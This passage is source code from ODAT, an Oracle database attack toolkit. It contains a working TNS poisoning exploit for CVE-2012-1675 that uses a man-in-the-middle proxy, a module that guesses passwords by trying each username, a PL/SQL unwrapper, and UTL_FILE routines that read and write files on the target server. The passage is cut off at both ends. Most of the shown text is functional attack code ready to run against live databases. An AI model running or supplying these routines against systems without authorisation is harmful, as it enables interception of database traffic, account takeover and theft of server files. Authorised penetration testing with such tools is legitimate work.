self.args['show_sql_requests'] == True: logging.debug("Packet received: {0}".format(repr(response))) sk.send(poisonPacket) if self.args['show_sql_requests'] == True: logging.debug("Poisoning packet sent: {0}".format(repr(poisonPacket))) response = sk.recv(8192) if self.args['show_sql_requests'] == True: logging.debug("Packet received: {0}".format(repr(response))) for aString in self.GOOD_STRINGS_IN_TNS_POISON_RESPONSE: if aString in response: logging.debug("Response sent by database server considered as good. Continue to send TNS poisoning packets") break logging.info("Sleeping {0} secs".format(DEFAULT_SLEEPING_TIME_TNS_POISON)) sleep(DEFAULT_SLEEPING_TIME_TNS_POISON) sk.close() def __startProxy__(self, localIp, localPort, connectionString=None, replaceStr=[None, None]): ''' ''' logging.debug("The local proxy will listening on {0}:{1} and it will redirecto traffic to {2}:{3}".format(localIp, localPort, self.args['server'], self.args['port'])) forwarder(ip=localIp, port=localPort, args=self.args, connectionString=connectionString, replaceStr=replaceStr) asyncore.loop() def exploitTNSPoisoningAttack (self, checkOnly=False): ''' Thanks to Joxean Koret (http://seclists.org/fulldisclosure/2012/Apr/204) & donctl (https://github.com/donctl). All credit goes to them This function exploits the TNS poisoning attack Returns False if the target is not impacted Returns -1 if an error occured with the TNS command Returns True if no problem ''' ERROR_STR = ["(ERROR_STACK=(ERROR=","(DESCRIPTION=(ERR="] logging.info("Checking if the target is vulnerable to TNS poisoning attack...") status = self.getInformation(cmd='service_register_NSGR') if status == False: logging.debug("Error unknow with the TNS command sent") return -1 else: for anError in ERROR_STR: if anError in self.recvdata: logging.debug("'{0}' in target's response after registration command: not vulnerable".format(ERROR_STR)) return False else: logging.debug("Target is vulnerable to CVE-2012-1675 because there is no error in the reponse after registration command") if checkOnly == True: return True else: localListeningPort=int(self.args['listening-port']) logging.debug("Starting the local proxy on {0}:{1} in a new thread".format(self.localIP, localListeningPort)) a = Thread(None, self.__startProxy__, None, (), {'localIp':self.localIP, 'localPort':localListeningPort, 'connectionString':self.args['cstring'], 'replaceStr':self.args['replace']}) a.daemon = True a.start() logging.debug("Waiting 3 seconds while the proxy is starting") sleep(3) logging.debug("Starting TNS poisoning in a new thread...") b = Thread(None, self.__sendTNSpoisoningPackets__, None, (), {'localIp':self.localIP, 'localListeningPort':localListeningPort}) b.daemon = True b.start() try: #Infinity loop and Polling: Very dirty !!! (but very easy for catching Keyboard Interruptions) while 1: sleep(self.args['sleeptime']) except KeyboardInterrupt: logging.info("Keyboard Interrupt => attack stopped") return True def testAll (self): ''' Test all functions ''' self.args['print'].title("Is it vulnerable to TNS poisoning (CVE-2012-1675)?") status = self.isTNSListenerVulnerableToCVE_2012_1675() if status == None: self.args['print'].unknownNews("Impossible to know if target is vulnerable to a remote TNS poisoning because error.") elif status == -1: self.args['print'].unknownNews("Impossible to know if target is vulnerable to a remote TNS poisoning because SID is not given.") elif status == True: self.args['print'].goodNews("The target is vulnerable to a remote TNS poisoning") else : self.args['print'].badNews("The target is not vulnerable to a remote TNS poisoning") def runTnsPoisonModule(args): ''' Run the Tnspoison module ''' status = True if checkOptionsGivenByTheUser(args,["test-module",'poison'],checkAccount=False) == False : return EXIT_MISS_ARGUMENT if ('sid' not in args) or ('sid' in args and args['sid'] == None): logging.error("This module requires a SID. It does not work with a Service Name. Without SID, impossible to use this module.") return EXIT_BAD_CMD_PARAMETER tnspoison = Tnspoison(args) if args['test-module'] == True: tnspoison.testAll() if args['poison'] == True: if args['replace'] != [None,None] and len(args['replace'][0])!=len(args['replace'][1]): logging.error("The size of {0} and {1} should be identical!".format(repr(args['replace'][0]), repr(args['replace'][1]))) return EXIT_BAD_CMD_PARAMETER args['print'].title("Local proxy on port {0} and TNS poisoning attack to {1}:{2} are starting. Waiting for connections...".format(args['listening-port'], args['server'], args['port'])) tnspoison.exploitTNSPoisoningAttack(checkOnly=False) odat-5.1.1/Unwrapper.py000066400000000000000000000155011423220672100150030ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from OracleDatabase import OracleDatabase import logging, subprocess from threading import Thread from Utils import checkOptionsGivenByTheUser from Constants import * import re, base64, zlib, sys class Unwrapper (OracleDatabase): ''' To unwrap PL/SQL source code ''' CHAR_MAP_SUBSTITUTION = [0x3d, 0x65, 0x85, 0xb3, 0x18, 0xdb, 0xe2, 0x87, 0xf1, 0x52, 0xab, 0x63, 0x4b, 0xb5, 0xa0, 0x5f, 0x7d, 0x68, 0x7b, 0x9b, 0x24, 0xc2, 0x28, 0x67, 0x8a, 0xde, 0xa4, 0x26, 0x1e, 0x03, 0xeb, 0x17, 0x6f, 0x34, 0x3e, 0x7a, 0x3f, 0xd2, 0xa9, 0x6a, 0x0f, 0xe9, 0x35, 0x56, 0x1f, 0xb1, 0x4d, 0x10, 0x78, 0xd9, 0x75, 0xf6, 0xbc, 0x41, 0x04, 0x81, 0x61, 0x06, 0xf9, 0xad, 0xd6, 0xd5, 0x29, 0x7e, 0x86, 0x9e, 0x79, 0xe5, 0x05, 0xba, 0x84, 0xcc, 0x6e, 0x27, 0x8e, 0xb0, 0x5d, 0xa8, 0xf3, 0x9f, 0xd0, 0xa2, 0x71, 0xb8, 0x58, 0xdd, 0x2c, 0x38, 0x99, 0x4c, 0x48, 0x07, 0x55, 0xe4, 0x53, 0x8c, 0x46, 0xb6, 0x2d, 0xa5, 0xaf, 0x32, 0x22, 0x40, 0xdc, 0x50, 0xc3, 0xa1, 0x25, 0x8b, 0x9c, 0x16, 0x60, 0x5c, 0xcf, 0xfd, 0x0c, 0x98, 0x1c, 0xd4, 0x37, 0x6d, 0x3c, 0x3a, 0x30, 0xe8, 0x6c, 0x31, 0x47, 0xf5, 0x33, 0xda, 0x43, 0xc8, 0xe3, 0x5e, 0x19, 0x94, 0xec, 0xe6, 0xa3, 0x95, 0x14, 0xe0, 0x9d, 0x64, 0xfa, 0x59, 0x15, 0xc5, 0x2f, 0xca, 0xbb, 0x0b, 0xdf, 0xf2, 0x97, 0xbf, 0x0a, 0x76, 0xb4, 0x49, 0x44, 0x5a, 0x1d, 0xf0, 0x00, 0x96, 0x21, 0x80, 0x7f, 0x1a, 0x82, 0x39, 0x4f, 0xc1, 0xa7, 0xd7, 0x0d, 0xd1, 0xd8, 0xff, 0x13, 0x93, 0x70, 0xee, 0x5b, 0xef, 0xbe, 0x09, 0xb9, 0x77, 0x72, 0xe7, 0xb2, 0x54, 0xb7, 0x2a, 0xc7, 0x73, 0x90, 0x66, 0x20, 0x0e, 0x51, 0xed, 0xf8, 0x7c, 0x8f, 0x2e, 0xf4, 0x12, 0xc6, 0x2b, 0x83, 0xcd, 0xac, 0xcb, 0x3b, 0xc4, 0x4e, 0xc0, 0x69, 0x36, 0x62, 0x02, 0xae, 0x88, 0xfc, 0xaa, 0x42, 0x08, 0xa6, 0x45, 0x57, 0xd3, 0x9a, 0xbd, 0xe1, 0x23, 0x8d, 0x92, 0x4a, 0x11, 0x89, 0x74, 0x6b, 0x91, 0xfb, 0xfe, 0xc9, 0x01, 0xea, 0x1b, 0xf7, 0xce] REQ_GET_SOURCE_CODE = "SELECT text, owner FROM all_source WHERE name LIKE '{0}' ORDER BY line" #{0} name; {1} REQ_GET_SOURCE_CODE_WITH_TYPE = "SELECT text, owner FROM all_source WHERE name LIKE '{0}' and type='{1}' ORDER BY line" #{0} name; {1} type of object def __init__(self,args, offline): ''' Constructor ''' logging.debug("Unwrapper object created") self.offline = offline if offline == False: logging.debug("Offline mode of Unwrapper module enabled.") OracleDatabase.__init__(self,args) else: logging.debug("Offline mode of Unwrapper module disabled") def __getSourceCode__ (self, objectName, objectType): ''' returns souce code of the object objectName returns {'owner':'', 'sourceCode':''} or None if no result ''' sourceCode = "" logging.info("Geeting the source code of the object named {0} (type={1})".format(objectName, objectType)) if objectType == None: request = self.REQ_GET_SOURCE_CODE.format(objectName) else: request = self.REQ_GET_SOURCE_CODE_WITH_TYPE.format(objectName, objectType) logging.debug("Sending this request: {0}".format(request)) results = self.__execQuery__(query=request, ld=['text', 'owner']) if results == []: logging.error('Empty response: No source code for the object named {0}. Perhaps a mistake in your object name'.format(objectName)) return None else: for aResult in results: sourceCode += aResult['text'] return {'owner':results[0]['owner'],'sourceCode':sourceCode} def __unwrap__ (self, wrappedCode): ''' Returns PL/SQL data unwrapped or None if error ''' logging.info("Unwrapping the following PL/SQL source code: '{0}'".format(wrappedCode)) lines = wrappedCode['sourceCode'].split('\n')[:-1] try: for i in range(0, len(lines)): matches = re.compile(r"^[0-9a-f]+ ([0-9a-f]+)$").match(lines[i]) if matches: b64str, j = '', 0 b64len = int(matches.groups()[0], 16) logging.debug("Length of base 64 string equal to {0}".format(b64len)) while len(b64str) < b64len: j+=1 b64len-=1 b64str += lines[i+j] return(self.__decodeBase64Package__(b64str)) except Exception as e: logging.error("Impossible to parse the correctly the PL/SQL source code: '{0}'".format(e)) return None def unwrapRemotely(self, objectName, objectType): ''' unwrap a PL/SQL code remotely Returns Nne if error. Otherwise returns source code unwrapped ''' sourceCode = self.__getSourceCode__(objectName, objectType) if sourceCode == None: return None code = self.__unwrap__(sourceCode) return code def unwrapLocally(self, filename): ''' unwrap a PL/SQL code remotely ''' f = open(filename) lines = "".join(f.readlines()) code = self.__unwrap__({'owner':'unknown', 'sourceCode':lines}) return code def __decodeBase64Package__(self,b64str): ''' Return None if error ''' decoded = '' try: b64dec = base64.decodestring(b64str)[20:] # we strip the first 20 chars (SHA1 hash, I don't bother checking it at the moment) for byte in range(0, len(b64dec)): decoded += chr(self.CHAR_MAP_SUBSTITUTION[ord(b64dec[byte])]) datadec = zlib.decompress(decoded) except Exception as e: logging.error("Impossible to decompress data: '{0}'".format(e)) return None return datadec def testAll (self): ''' Test all functions ''' self.args['print'].subtitle("Unwrap PL/SQL source code remotely?") logging.info('Nothing to do, return True') self.args['print'].goodNews("OK") return True def runUnwrapperModule(args): ''' Run the unwrapper module ''' status, offline = True, True if args['test-module'] == False and args['object-name'] == None and args['file'] == None: logging.critical("You must choose --test-module or/and --object-name or/and --file") return EXIT_MISS_ARGUMENT if args['test-module'] == True : args['print'].title("Test if the Unwrapper module can be used") unwrapper = Unwrapper(args, offline=False) unwrapper.testAll() if args['file'] != None: offline = True unwrapper = Unwrapper(args, offline=True) if args['object-name'] != None: if checkOptionsGivenByTheUser(args,["test-module","object-name"]) == False : return EXIT_MISS_ARGUMENT offline = False unwrapper = Unwrapper(args, offline=False) unwrapper.connection(stopIfError=True) #if args['object-name'] != None : args['print'].title("Unwrapping PL/SQL source code of {0} stored in the remote database".format(args['object-name'])) code = unwrapper.unwrapRemotely(args['object-name'], objectType = args['object-type']) if code == None: args['print'].badNews("Impossible to get the source code or to unwrap it. Is it wrapped? Have you permissions?...") else: args['print'].goodNews(code) if args['file'] != None : args['print'].title("Unwrapping PL/SQL source code stored in the local file named {0}".format(args['file'])) code = unwrapper.unwrapLocally(args['file']) if code == None: args['print'].badNews("Impossible to read the source code or to unwrap it. Is it wrapped? Have you permissions?...") else: args['print'].goodNews(code) odat-5.1.1/UsernameLikePassword.py000066400000000000000000000071061423220672100171310ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from OracleDatabase import OracleDatabase import logging,cx_Oracle from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser, getCredentialsFormated, getSIDorServiceNameWithType from Constants import * from PasswordGuesser import PasswordGuesser, runPasswordGuesserModule class UsernameLikePassword (OracleDatabase): ''' Allow to connect to the database using each Oracle username like the password ''' def __init__(self,args, lowerAndUpper=True): ''' Constructor ''' logging.debug("UsernameLikePassword object created") OracleDatabase.__init__(self,args) self.allUsernames = [] self.validAccountsList = [] self.lowerAndUpper=lowerAndUpper def __loadAllUsernames__(self): ''' Get all usernames from the ALL_USERS table ''' logging.info('Get all usernames from the ALL_USERS table') query = "select username from ALL_USERS" response = self.__execQuery__(query=query,ld=['username']) if isinstance(response,Exception) : logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) return response else : if response == []: self.allUsernames = [] else: for e in response : self.allUsernames.append(e['username']) logging.info("Oracle usernames stored in the ALL_USERS table: {0}".format(self.allUsernames)) def tryUsernameLikePassword(self, additionalPwd=[]): ''' Try to connect to the DB with each Oracle username using the username like the password if lowerAndUpper == True, the username in upper case and lower case format will be tested Otherwise identical to username only ''' accounts = [] self.__loadAllUsernames__() passwordGuesser = PasswordGuesser(self.args,accountsFile="",loginFile=None,passwordFile=None,loginAsPwd=False,timeSleep=self.args['timeSleep']) for usern in self.allUsernames: if self.lowerAndUpper == True: logging.debug("Password identical (upper case and lower case) to username will be tested for '{0}'".format(usern)) accounts.append([usern,usern.upper()]) accounts.append([usern,usern.lower()]) logging.debug("These passwords will be tested for {0} also: {1}".format(usern, additionalPwd)) for anAdditionalPwd in additionalPwd: accounts.append([usern,anAdditionalPwd]) else: logging.debug("Password identical to username will be tested ONLY for '{0}' (option enabled)".format(usern)) accounts.append([usern,usern]) passwordGuesser.accounts = accounts passwordGuesser.searchValideAccounts() self.validAccountsList = passwordGuesser.valideAccounts def testAll (self): ''' Test all functions ''' pass def runUsernameLikePassword(args): ''' Run the UsernameLikePassword module ''' status= True usernameLikePassword = UsernameLikePassword(args) status = usernameLikePassword.connection(stopIfError=True) #Option 1: UsernameLikePassword if args['run'] !=None : additionalPwd = [] args['print'].title("Oracle users have not the password identical to the username ?") if 'additional-pwd' in args and args['additional-pwd'] != None: additionalPwd = args['additional-pwd'] usernameLikePassword.tryUsernameLikePassword(additionalPwd = additionalPwd) if usernameLikePassword.validAccountsList == {}: args['print'].badNews("No found a valid account on {0}:{1}/{2} with usernameLikePassword module".format(args['server'], args['port'], getSIDorServiceNameWithType(args))) else : args['print'].goodNews("Accounts found on {0}:{1}/{2} with usernameLikePassword module: {3}".format(args['server'], args['port'], getSIDorServiceNameWithType(args), getCredentialsFormated(usernameLikePassword.validAccountsList))) odat-5.1.1/Utils.py000066400000000000000000000221501423220672100141160ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- import re, logging, platform,time from socket import gethostbyname from sys import exit from sys import stdout from datetime import datetime import os.path, cx_Oracle if os.name == 'nt': import ntpath from subprocess import STDOUT, Popen, PIPE from socket import inet_aton import os, random, string def generateUniqueNameFile (): ''' Genere un nom de fichier unique à partir de la date et heure courante ''' return datetime.now().strftime("%Y-%m-%d_%H-%M-%S") class ErrorSQLRequest(Exception): ''' ''' def __init__(self, e, query=None): ''' ''' self.errormsg = str(e) if query != None : self.query = query else : self.query = "" def __str__(self): ''' ''' return '`'+str(self.errormsg.replace('\n',' ').replace('\t',' '))+'`' def generateInfoAboutError(self, query=None): ''' Return explanations,proofs,complianceStatus ''' if query == None : explanations = "Error with the query: '{0}'".format(self.query) else : explanations = "Error with the query: '{0}'".format(query) proofs = "Error message: {0}".format(self.__str__()) complianceStatus = -2 return explanations, proofs, complianceStatus def checkOracleVersion(args): ''' ''' VERSIONS_TESTED = [11] cursorRep = execThisQuery(args,"select * from product_component_version",["PRODUCT","VERSION","STATUS"]) for l in cursorRep: if "Oracle Database" in l['PRODUCT']: logging.info("The '{0}' version is: {1}".format(l['PRODUCT'],l['VERSION'])) if l['VERSION'][:2] in VERSIONS_TESTED : logging.warn("The version of the Oracle database is not in {0}".format(', '.join(VERSIONS_TESTED))) def normalizePath(path1,path2): ''' Normalise un path sous windows en concaténant 2 paths ''' userPlatform = platform.system().upper() if userPlatform == "WINDOWS": return ntpath.normpath(ntpath.join(path1, path2)) elif userPlatform == "LINUX": return os.path.join(path1, path2) else : return None def areEquals(o1,o2): ''' retourne True si o1 == o2 (case insensitive) ''' if o1 == None : o1 = "" if o2 == None : o2 = "" if type(o1) is datetime : o1 = o1.ctime() if type(o2) is datetime : o2 = o2.ctime() if type(o1) is str and type(o2) is str: if o1.lower() == o2.lower() : return True else : return False else : logging.error("Bad comparison in the areEquals function: o1:{0}, o2:{1}".format(type(o1),type(o2))) def getOracleConnection(args, connectId): ''' Return an Oracle object connected to the database thanks to the Oracle connection string (connectId) ''' try: if args['SYSDBA'] == True : return cx_Oracle.connect(connectId, mode=cx_Oracle.SYSDBA) elif args['SYSOPER'] == True : return cx_Oracle.connect(connectId, mode=cx_Oracle.SYSOPER) else : return cx_Oracle.connect(connectId) except Exception as e: logging.error("Impossible to connect to the database: {0}".format(str(e))) exit(-1) def configureLogging(args): ''' Configure le logging ''' if args['verbose']==0: level=logging.WARNING elif args['verbose']==1: level=logging.INFO elif args['verbose']>=2: level=logging.DEBUG logging.basicConfig(format='%(levelname)s: %(message)s',level=level) def execSystemCmd (cmd): ''' Execute a command with popen Return None if an error ''' p = Popen(cmd, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=True, shell=True) stdout, stderr = p.communicate() if stderr != "" : logging.error("Problem when executing the command \'{0}\':\n{1}".format(cmd, stderr[:-1])) return None else : if stdout != "" : stdout = stdout[:-1] logging.debug("Command '{0}' success. Data returned:\n{1}".format(cmd,stdout)) else : logging.debug("Command '{0}' success.".format(cmd)) return stdout def anAccountIsGiven (args): ''' return True if an account is given in args Otherwise, return False - operations must be a list - args must be a dictionary ''' if (('user' in args) ==False or ('password' in args) == False) or (args['user'] == None and args['password'] == None): logging.critical("You must give a valid account with the '-U username' option and the '-P password' option.") return False elif args['user'] != None and args['password'] == None: logging.critical("You must give a valid account with the '-P password' option.") return False elif args['user'] == None and args['password'] != None: logging.critical("You must give a valid username with the '-U username' option.") return False else : return True def anOperationHasBeenChosen(args, operations): ''' Return True if an operation has been chosen. Otherwise return False - operations must be a list - args must be a dictionary ''' for key in operations: if (key in args) == True: if key == "test-module": if args[key] == True: return True elif args[key] != None and args[key] != False : return True logging.critical("An operation on this module must be chosen thanks to one of these options: --{0};".format(', --'.join(operations))) return False def ipOrNameServerHasBeenGiven(args): ''' Return True if an ip or name server or a list of ips/hostnames has been given Otherwise return False - args must be a dictionary ''' if ('server' in args and args['server'] != None) or \ ('hostlist' in args and args['hostlist'] != None) or \ ('nmap-file' in args and args['nmap-file'] != None): if (args['server']!=None): try: inet_aton(args['server']) except Exception as e: try: ip = gethostbyname(args['server']) args['server'] = ip except Exception as e: logging.critical("There is an error with the name server or ip address: '{0}'".format(e)) return False else: logging.critical("Target(s) has to be given (with '-s IPadress' for example)") return False return True def sidOrServiceNameHasBeenGiven(args): ''' Return True if a SID or Service Name has been given Otherwise return False - args must be a dictionary ''' if ('sid' in args) == False and ('serviceName' in args) == False: logging.critical("The server SID or Service Name must be defined") return False if (('serviceName' in args) == True and args['serviceName'] == None) and (('serviceName' in args) == True and args['sid'] == None): logging.critical("The server SID or Service Name must be given with the '-d SID' or '-n serviceName' option.") return False return True def checkOptionsGivenByTheUser(args,operationsAllowed,checkSID=True,checkAccount=True): ''' Return True if all options are OK Otherwise return False - args: list - operationsAllowed : operations allowed with this module ''' if ipOrNameServerHasBeenGiven(args) == False : return False elif checkSID==True and sidOrServiceNameHasBeenGiven(args) == False : return False elif checkAccount==True and anAccountIsGiven(args) == False : return False elif anOperationHasBeenChosen(args,operationsAllowed) == False : return False return True def getScreenSize (): ''' Returns screen size (columns, lines) ''' columns, rows = os.popen('stty size', 'r').read().split() return (int(rows), int(columns)) def stringToLinePadded(string, padValue=" "): ''' Return the string padded with padValue until the line end of the terminal ''' sizeTerm = int(getScreenSize()[1]) padding = padValue*(sizeTerm - (len(string) % sizeTerm) -4) return string+padding def generateRandomString (length=20): ''' Get a Random upper case string ''' return ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(length)) def getCredentialsFormated(dico): ''' dico ex: {'user1': 'pwd1', 'user2': 'pwd2'} returns a string ''' stringV = "\n" for aLogin in dico: stringV += "{0}/{1}\n".format(aLogin, dico[aLogin]) return stringV def getSIDorServiceName(args): ''' Return SID or Service Name Return None if an error ''' if 'sid' not in args and 'serviceName' not in args: return None if ('sid' in args and args['sid']!=None): return args['sid'] elif ('serviceName' in args and args['serviceName']!=None): return args['serviceName'] else: return None def getSIDorServiceNameWithType(args): ''' Return SID or Service Name Return None if an error ''' if 'sid' not in args and 'serviceName' not in args: return None if ('sid' in args and args['sid']!=None): return "sid:{0}".format(args['sid']) elif ('serviceName' in args and args['serviceName']!=None): return "ServiceName:{0}".format(args['serviceName']) else: return None def getHostsFromFile(filename): ''' Load targets from the file filename One ip/target by line. ip:port\n or ip\n and in this case, default port used (1521) Return a list of hosts : [['1.1.1.1',1433],['1.1.1.2',1433], etc] ''' hosts, lines = [], None logging.debug("Trying to read hosts from {0}".format(filename)) f = open(filename) lines = f.readlines() logging.info("Reading hosts from {0}".format(filename)) for aHost in lines: aHostSplitted = aHost.replace('\n','').replace('\r','').replace('\t','').split(':') if len(aHostSplitted) == 1: hosts.append([aHostSplitted[0],1521]) elif len(aHostSplitted) == 2: hosts.append([aHostSplitted[0],aHostSplitted[1]]) else: logging.warning("Impossible to read this host: {0}".format(aHostSplitted)) f.close() logging.debug("Hosts stored in {0}: {1}".format(filename, hosts)) return hosts odat-5.1.1/UtlFile.py000066400000000000000000000365621423220672100143760ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from DirectoryManagement import DirectoryManagement import logging, random, string, cx_Oracle from hashlib import md5 from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser from Constants import * class UtlFile (DirectoryManagement): ''' Allow the user to read/write file on the remote database system with UTL_FILE ''' def __init__(self,args): ''' Constructor ''' logging.debug("UtlFile object created") DirectoryManagement.__init__(self,args) def __createFile__(self,nameFile, data, appendMode=False): ''' Create a file named nameFile in the directoryName directory containing data Return True if no error, otherwise return exception ''' logging.debug('Create the {0} file remotly'.format(nameFile)) strAddData = "" #2.a- Create the remote binary file if exist UTL_FILE_CREATE_FILE = "DECLARE fi UTL_FILE.FILE_TYPE; bu RAW(32766); BEGIN fi:=UTL_FILE.fopen('{0}','{1}','wb',32766); UTL_FILE.fclose(fi); END;" request = UTL_FILE_CREATE_FILE.format(self.directoryName, nameFile) response = self.__execPLSQL__(request) if isinstance(response,Exception): logging.info('Impossible to create file with UTL_FILE: {0}'.format(self.cleanError(response))) return response #2.b- Append to the remote file UTL_FILE_CREATE_FILE = "DECLARE fi UTL_FILE.FILE_TYPE; bu RAW(32766); BEGIN bu:=hextoraw('{0}'); fi:=UTL_FILE.fopen('{1}','{2}','ab',32766); UTL_FILE.put_raw(fi,bu,TRUE); UTL_FILE.fclose(fi); END;" for aPart in [data[i:i+3000] for i in range(0, len(data), 3000)]: request = UTL_FILE_CREATE_FILE.format(aPart.hex(), self.directoryName, nameFile) response = self.__execPLSQL__(request) if isinstance(response,Exception): logging.info('Impossible to append to the file: {0}'.format(self.cleanError(response))) return response return True def putFile (self,remotePath, remoteNameFile, localFile=None, data=None): ''' Create the localFile file (named remoteNameFile) on the remote system in the remotePath directory Choice between localFile or data Return True if no error, otherwise return exception ''' if (localFile == None and data==None) or (localFile != None and data!=None): logging.critical("To put a file, choose between a localFile or data") if data==None : logging.info('Copy the {0} file to the {1} remote path like {2}'.format(localFile,remotePath,remoteNameFile)) else : logging.info('Copy this data : `{0}` in the {2} in the {1} remote path'.format(data,remotePath,remoteNameFile)) self.__setDirectoryName__() status = self.__createOrRemplaceDirectory__(remotePath) if isinstance(status,Exception): return status if localFile != None: data = self.__loadFile__(localFile) status = self.__createFile__(remoteNameFile, data) if isinstance(status,Exception): return status self.__dropDirectory__() return True def appendFile(self,remotePath, remoteNameFile, localFile=None, data=None): ''' Append to the remoteNameFile file (on the remote system in the remotePath directory) data stored on the localFile file Return True if no error, otherwise return exception ''' logging.info('Append data stored in the {0} file to the {1} file stored in {2}'.format(localFile,remoteNameFile,remotePath)) if (localFile == None and data==None) or (localFile != None and data!=None): logging.error("To append to a file, choose between a localFile or data") self.__setDirectoryName__() self.__createOrRemplaceDirectory__(remotePath) if localFile != None: data = self.__loadFile__(localFile) self.__createFile__(remoteNameFile, data, appendMode=True) status = self.__dropDirectory__() if isinstance(status,Exception): return status return True def getFile2 (self, remotePath, remoteNameFile): ''' Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath) ''' logging.info("Read the {0} remote file stored in {1}".format(remoteNameFile,remotePath)) data = "" self.__setDirectoryName__() status = self.__createOrRemplaceDirectory__(remotePath) if isinstance(status,Exception): return status #Get data of the remote file UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(32000); hexdata VARCHAR2(32000); BEGIN l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 32000); LOOP UTL_FILE.GET_LINE(l_fileID, l_buffer, 32000); select RAWTOHEX(l_buffer) into hexdata from dual; dbms_output.put_line(hexdata); END LOOP; EXCEPTION WHEN NO_DATA_FOUND THEN UTL_FILE.fclose(l_fileID); NULL; END;" cursor = cx_Oracle.Cursor(self.args['dbcon']) try : cursor.callproc("dbms_output.enable") try: cursor.execute(UTL_FILE_GET_FILE.format(self.directoryName, remoteNameFile)) except Exception as e: logging.info("Impossible to execute the query `{0}`: {1}".format(UTL_FILE_GET_FILE, self.cleanError(e))) self.__dropDirectory__() return ErrorSQLRequest(e) else : statusVar = cursor.var(cx_Oracle.NUMBER) lineVar = cursor.var(cx_Oracle.STRING) while True: cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) if statusVar.getvalue() != 0: break line = lineVar.getvalue() if line == None : line = '' data += line.decode('hex')+'\n' cursor.close() except Exception as e: self.__dropDirectory__() return ErrorSQLRequest(e) self.__dropDirectory__() return data def getFile (self, remotePath, remoteNameFile): ''' return data stored in the remoteNameFile file of the remotePath path Return False if file not exist ''' logging.info("Read the {0} remote file stored in {1}".format(remoteNameFile,remotePath)) data, currentByte = b"", 0 self.__setDirectoryName__() status = self.__createOrRemplaceDirectory__(remotePath) if isinstance(status,Exception): return status #Get data of the remote file #UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(32000); hexdata VARCHAR2(32000); l_exists BOOLEAN; l_file_length NUMBER; l_blocksize NUMBER; BEGIN UTL_FILE.fgetattr('{0}', '{1}', l_exists, l_file_length, l_blocksize); l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 1000); UTL_FILE.FSEEK(l_fileID,0,{2}); LOOP UTL_FILE.GET_LINE(l_fileID, l_buffer, 32000); select RAWTOHEX(l_buffer,{2}) into hexdata from dual; dbms_output.put_line(hexdata); END LOOP; EXCEPTION WHEN NO_DATA_FOUND THEN UTL_FILE.fclose(l_fileID); NULL; END;" #UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(5000); hexdata VARCHAR2(10000); BEGIN l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 5000); UTL_FILE.FSEEK(l_fileID,{2},0); UTL_FILE.GET_LINE(l_fileID, l_buffer, 5000); select RAWTOHEX(l_buffer) into hexdata from dual; dbms_output.put_line(hexdata); UTL_FILE.fclose(l_fileID); END;" UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer RAW(500); hexdata VARCHAR2(1000); BEGIN l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 32767); UTL_FILE.FSEEK(l_fileID,{2},0); UTL_FILE.GET_RAW(l_fileID, l_buffer, 500); select RAWTOHEX(l_buffer) into hexdata from dual; dbms_output.put_line(hexdata); UTL_FILE.fclose(l_fileID); END;" if self.getFileExist (remotePath, remoteNameFile) == True : length = self.getLength (remotePath, remoteNameFile) if length <= 0: pass else : cursor = cx_Oracle.Cursor(self.args['dbcon']) cursor.callproc("dbms_output.enable") nbNewLine=0 logging.debug("Reading the entire file ({0} bytes)...".format(length)) while currentByte+nbNewLine < length: logging.debug("Reading 500 next bytes (max) from {0}...".format(currentByte+nbNewLine)) try: request = UTL_FILE_GET_FILE.format(self.directoryName, remoteNameFile, currentByte+nbNewLine) if self.args['show_sql_requests'] == True: logging.debug("Executing: {0}".format(request)) cursor.execute(request) except Exception as e: logging.info("Impossible to execute the query `{0}`: {1}".format(UTL_FILE_GET_FILE, self.cleanError(e))) self.__dropDirectory__() return ErrorSQLRequest(e) else : statusVar = cursor.var(cx_Oracle.NUMBER) lineVar = cursor.var(cx_Oracle.STRING) while True: cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) if statusVar.getvalue() != 0: break line = lineVar.getvalue() lineBytes = bytes.fromhex(line) nbNewLine += lineBytes.count(b'\n') data += lineBytes currentByte += len(lineBytes) logging.info(lineBytes) currentByte += 0 cursor.close() else : data = False self.__dropDirectory__() return data def getLength (self, remotePath, remoteNameFile): ''' Get the file length. Return 0 if empty or ''' logging.info("Get the file length of the {1}{0} file".format(remoteNameFile,remotePath)) data = "" self.__setDirectoryName__() status = self.__createOrRemplaceDirectory__(remotePath) if isinstance(status,Exception): return status UTL_FILE_GET_LENGTH = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_value VARCHAR2(32000); l_exists BOOLEAN; l_file_length NUMBER; l_blocksize NUMBER; BEGIN UTL_FILE.fgetattr('{0}', '{1}', l_exists, l_file_length, l_blocksize); dbms_output.put_line(l_file_length); END;" cursor = cx_Oracle.Cursor(self.args['dbcon']) try : cursor.callproc("dbms_output.enable") try: cursor.execute(UTL_FILE_GET_LENGTH.format(self.directoryName, remoteNameFile)) except Exception as e: logging.info("Impossible to execute the query `{0}`: {1}".format(UTL_FILE_GET_LENGTH, self.cleanError(e))) self.__dropDirectory__() return ErrorSQLRequest(e) else : statusVar = cursor.var(cx_Oracle.NUMBER) lineVar = cursor.var(cx_Oracle.STRING) while True: cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) if statusVar.getvalue() != 0: break line = lineVar.getvalue() if line == None : line = '0' logging.info("The file length is: {0}".format(line)) return int(line) cursor.close() except Exception as e: 